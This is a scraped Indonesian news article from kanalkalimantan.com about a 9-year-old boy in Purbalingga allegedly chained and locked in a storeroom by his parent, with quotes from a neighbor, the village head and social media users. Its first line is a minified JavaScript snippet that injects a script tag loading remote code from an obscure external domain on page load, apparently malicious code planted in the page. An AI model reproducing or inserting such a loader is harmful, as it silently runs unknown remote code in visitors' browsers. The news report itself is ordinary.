(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PURBALINGGA– Seorang bocah asal Desa Kalimanah Kulon Kecamatan Kalimanah Kabupaten Purbalingga berinisial AF mengalami nasib miris karena dirantai dan dikurung di gudang rumahnya.
Ironisnya, bocah berusia 9 tahun itu diduga dikurung oleh orang tuanya sendiri berinisial AR.
Kejadian itu diunggah akun media sosial Instagram @ndorobeii hingga viral. Tak hanya itu, warganet pun turut memberikan komentar atas apa yang menimpa bocah malang tersebut.
Dalam keterangan video berdurasi sekitar 26 detik itu dijelaskan salah satu tetangga AF yakni Ito (45) mengetahui AF dikurung di kandang saat hendak membuang sampah.
“Saya mendengar ada ketukan pintu yang keras, lalu saya berusaha mencari sumber suara. Ternyata AF dikurung di gudang dalam kondisi terikat rantai,” ungkap Ito.
“Lalu saya melihat AF dengan posisi terduduk lemas dalam keadaan dirantai. Saya berusaha membuka pintu akan tetapi susah . Kemudian saya memanggil tetangga untuk membantu mengeluarkan AF,” tambahnya.
Setelah berhasil masuk gudang, dirinya bersama sejumlah warga melihat sang bocah dalam keadaan dirantai di kaki kiri serta digembok.
Melihat kejadian itu, dirinya bersama warga melaporkan ke pegawai Desa Kalimanah Kulon.
Kepala Desa Kalimanah Kulon, Nur Cahyo membenarkan kejadian itu.
” Memang benar adanya di desa kami ada dugaan perantaian AF bocah yang masih berusia 9 tahun. Saya mendapat laporan dari warga sektar pukul 09.30 wib langsung melucur ke TKP. Kemudian saya menghubungi Polsek Kalimanah agar supaya segera ditindak lanjuti,”jelasnya.
“Ya Allah teganya, wajarlah anak umur segitu kalo masih nakal. Seharusnya dikasih tau dengan cara yang baik, ajarkan yang baik, kalaupun kasar tidak sampe seperti itu. Itu sama saja menyiksa,” tulis @hamdan***.
“Anak akan mengalami gangguan psikis, jika sering mengalami kekerasan dlm keluarga,” timpal @adykn**.
Meski demikian, ada juga warganet yang memilih menunggu penjelasan dari sisi orang tua sang bocah.
“Jangan langsung menghakimi ortunya. Mungkin mereka punya penjelasan, setiap orang punya cara sendiri untuk mendidik anak, ditunggu klarifikasinya,” balas @sangrangh***.
(suara)
Editor: suara
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.